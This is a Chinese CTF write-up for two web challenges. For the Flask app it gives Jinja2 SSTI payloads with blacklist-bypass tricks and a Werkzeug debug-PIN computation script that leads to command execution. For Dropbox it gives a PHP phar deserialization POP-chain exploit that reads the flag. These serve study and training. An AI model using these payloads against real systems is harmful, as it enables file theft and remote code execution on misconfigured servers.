[GYCTF2020]FlaskApp
知识点
-
Flask模板注入中debug模式下pin码的获取和利用
Pin (代码识别码) -
ssti的绕过(拼接字符串,倒序切片,内置对象、函数)
WP:
前言:Flask开启debug模式等于给黑客留了后门
参考链接:Flask开启debug模式
Flask在生产环境中开启debug模式是一件非常危险的事,主要有3点原因:
1、会泄露当前报错页面的源码,可供审计挖掘其他漏洞
2、会泄露Web应用的绝对路径,及Python解释器的路径(可以配合写文件漏洞向指定目录的文件内写入构造好的恶意代码,利用方式可以参考安全客的这篇文章:文件解压之过 Python中的代码执行)
3、debug页面中包含Python的交互式shell,可以执行任意Python代码
**信息收集:**因为题目名flask,所以先不进行常规信息收集,而是观察功能点,寻找易发生ssti的功能
提示里貌似没有什么信息,考虑到功能异常抛出常见于解密环节,所以随便输段不能解密的
直接报错抛出debug信息,看来是开启了debug模式
而且读到了app.py的部分代码
大致的逻辑就是获取text参数,进行解密,如果可以过waf则执行代码
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
可以看到/decode的部分源码,可以发现 render_template_string(tmp)会引起python模块注入
进一步尝试是否ssti,在加密界面对{{6*6}}进行加密,结果为e3s2KjZ9fQ==,再在解密界面进行解密,疑似是有一定防御,那么换成{{3+3}},成功返回
说明确实存在ssti,接下来就是具体怎么利用的过程了
预备知识
在jinja2中 控制结构 {% %} 变量取值 {{ }}
函数和属性
- class 返回调用的参数类型
- bases 返回基类列表
- mro 此属性是在方法解析期间寻找基类时的参考类元组
- subclasses() 返回子类的列表
- globals 以字典的形式返回函数所在的全局命名空间所定义的全局变量,与 func_globals 等价
- builtins 内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等
具体利用
flask模板注入框架
查看根目录
查看根目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
发现不行
想办法把完整的app.py读出来,方便绕waf
为了方便阅读,把它换行了
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}
{%endif%}{%endfor%}
修改成
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}{% endfor %}
记得最后要改成一行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
然后加密解密
得到结果
可以看到过滤了很多关键词
把中间的waf函数代码美化一下
def waf(str):
black_list = [ &
#34;flag&# 34;, & #34;os&# 34;, & #34;system&# 34;, &
#34;popen&# 34;, & #34;import&# 34;, & #34;eval&# 34;, &
#34;chr&# 34;, & #34;request&# 34;, & #34;subprocess&# 34;, &
#34;commands&# 34;, & #34;socket&# 34;, & #34;hex&# 34;, &
#34;base64&# 34;, & #34;*&# 34;, & #34;?&# 34;
]
for x in black_list:
if x in str.lower():
return 1@ app.route( '/hint&# 39;, methods = [ & #39;GET&# 39;])
用字符拼接法
从 black list大致知道了关键字,另外会将字符转小写,所以没法通过lower方法或者base64、hex一下绕过,但是最常见的是字符串拼接绕过,参考菜鸟教程找到os模块的一些方法
先使用listdir方法看看当前目录文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
其中this_is_the_flag.txt有flag字样,那么接下来就是想办法读这个文件,还是采用拼接字符串的方式,然后结合内建函数open,菜鸟教程
读取文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
这里过滤了flag,用字符串倒序的方法
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
或者继续字符串拼接绕过:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
得到flag
方法二: 利用PIN码进行RCE
通过PIN码生成机制可知,需要获取如下信息
- 服务器运行flask所登录的用户名。通过/etc/passwd中可以猜测为flaskweb 或者root,此处用的flaskweb
- modname。一般不变就是flask.app
- getattr(app, “name”, app.class.name)。python该值一般为Flask,该值一般不变
- flask库下app.py的绝对路径。报错信息会泄露该值。题中为
/usr/local/lib/python3.7/site-packages/flask/app.py
- 当前网络的mac地址的十进制数。通过文件
/sys/class/net/eth0/address
获取(eth0为网卡名),本题为02:42:ae:01:0d:25,转换后为2485410401573 - 机器的id:对于非docker机每一个机器都会有自已唯一的id
Linux:/etc/machine-id
或/proc/sys/kernel/random/boot_i
,有的系统没有这两个文件
Windows
docker:/proc/self/cgroup
日常走一下流程:
利用如下语句进行读取文件:
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}
或者这个也行:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
读一下etc/passwd,发现用户名是flaskweb。
通过随便输入来报错,得到app.py的绝对路径:
读/sys/class/net/eth0/address来获得mac的地址
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
得到02:42:ae:00:a9:7c转十进制,
可以一行python print(int('0242AE00A97C',16))
得到2485410376060
因为题目是docker环境,因此读机器id
获取机器id,读取/proc/self/cgroup
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}
docker后面的那一串31c24e0fd34a09126aa47d88e21b8b28efcce8acd630632e4e4a9baddff38757就是了。
计算pin代码如下
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',#服务器运行flask所登录的用户名
'flask.app',#modname
'Flask',#getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)
'/usr/local/lib/python3.7/site-packages/flask/app.py',#flask库下app.py的绝对路径
]
private_bits = [
'2485410376060',#当前网络的mac地址的十进制数
'4bac89c2faec2a0a2ca846544549977cbae8dde2196eb964942a7d4e383fc7a4'#机器的id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
得到169-663-911
在之前的报错页面,点击右侧命令行图案,输入pin
可以直接页面debug了
执行命令即可得到flag:
import os
os.popen(“ls -l /”).read()
os.popen(“cat /this_is_the_flag.txt”).read()
参考链接:
Flask debug 模式 PIN 码生成机制安全性研究笔记
关于Flask SSTI,解锁你不知道的新姿势
[CISCN2019 华北赛区 Day1 Web1]Dropbox
知识点
- PHP代码审计
- phar和反序列化
- 文件读取
- 猜nt的flag文件名和它在哪
知识点详解:
1 open_basedir
在in_set这个函数中,可以设置php的一些配置,其中就包括open_basedir ,用来限制当前程序可以访问的目录。后来问了一下朱师傅,了解到:它是可以访问设置目录下的所有下级目录。
若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 “/dir/other"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。”."可代表当前目录,open_basedir也可以同时设置多个目录,在Windows中用分号分隔目录,在任何其它系统中用冒号分隔目录。例:
ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”); 就是只可以访问当前目录(getcwd()返回当前目录)、/etc和/tmp三个目录。解释了为什么要在delete.php中利用payload,而不是download.php。
2 chdir() mkdir()
- chdir() 现实目录跳跃,解释了为什么下载时要filename = …/…/indx.php ,而不是filename = index.php。
- mkdir() 创建一个文件夹,顺带提一下。
3 function __all($func, $args)
php的魔术方法,为什么要叫魔术方法?__call($func,$args)
会在对象调用的方法不存在时,自动执行。 $func
:被调用的方法名,所以$func()
在这个魔术方法中,可以表示被调用的那个方法;$args : 被调用方法中的参数(这是个数组)
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
在本题中,次方法的作用,是去调用对象没有的方法。首先把要调用的方法,压进$this->funcs中,然后遍历每一个文件,让每一个文件,都去调用刚才的方法。比如在index.php中,就出现了这个函数的调用。
当执行 $a = new FileList($_SESSION[‘sandbox’])
时,会先调用构造函数,把“$_SESSION[‘sandbox’]
”目录下的所有文件,都放到 $a->files中,注意这是个数组,解释了为什么,在后面构造payload时,\$this->files要等于一个数组
。然后 $a->Name(); 调用了一个FileList中并没有的方法,就会自动调用 __all($func, $args)函数,其中$func=Name。然后让
$a->files里的所有文件,都去调用这个方法。并把结果,存储在以filename为一级键名,方法为二级键名的数组中。然后Size方法同样如此。
name | Size | |
---|---|---|
filename1 | xx | xx |
filename2 | xx | xx |
也就时说,它在程序中的作用就是,遍历我们上传的所有文件,并把它们的信息,储存在$a->result这个二维数组中。
4 function __destruct()
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
$table .= '</tr>';
}
-
foreach ($this->results as $filename => $result) 每次把每个一级数组的值,传递给$result,即filename1[]
-
foreach ($result as $func => $value) 每次把每个二级数组的值,传递给$value
-
echo table 最后打印出来全部数据
解决了读取的数据,无法输出的问题
5 phar(重点)
讲phar的链接
我的理解,我们可以把一个序列化的对象,储存在phar格式的文件中,生成后(一定要是生成后),即使我们把格式给改了,也不影响它的作用:用一些文件包含函数,如果我们以phar://协议去访问这个文件,那么就可以把那个对象给反序列化。
php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,别人测试后,受影响的函数如下:
启动靶机
进入环境随便注册登录,发现存在文件上传,上传之后会有下载的功能,对这个功能进行抓包,发现存在文件读取:
然后就想办法把这题所有的文件都给读取下来,重要的就是download.php,delete.php和class.php:
download.php
//download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
delete.php
//delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
delete.php
//delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
class.php
//class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
我们大致看一下源码,看哪儿可以读取源码
在class.php中的函数close()可以读取文件
其中download.php会调用$file->close()但是限制了filename不能包含flag,所以我们不能直接读取flag~~
我们的思路如下
- 上传一个phar文件,后缀为图片的格式
- 然后在delete.php中访问它,以phar://test.jpg的形式,此时会调用file->open()中的file_exists()会触发反序列化,(此时file_exists()返回的是false)
- 此时只有user的__descruct会调用close()函数,
(在File类中,close方法存在file_get_contents()函数)
,但是没有回显功能,我们只能找一个有回显的地方进行序列化~ - 我们观察到FileList类的__descruct有echo函数,输出 t a b l e , 而 table,而 table,而table的内容来自$result,我们再来看一下__call函数
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
__call函数是指当调用类不存在的方法时就会调用__call函数·~
其中$func就是指我们调用的不存在方法,而$args是指我们的参数~~,
通过代码我们知道假如我们调用close()方法,那么最后会调用
$file->$func()
即$file->close(),并且存入$result中,那么file_get_contents的内容就能回显出来了~~
最后的payload为:
<?php
class User {
public $db;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
class File {
public $filename;
}
// ini_set('phar.readonly',0);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "glzjin"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
最后再说一下,为什么我们要通过delete.php触发phar反序列化,而不是通过download.php,两者都会调用file_exists(),那是因为download.php有base_dir限制,我们不能读出在/目录下的文件~~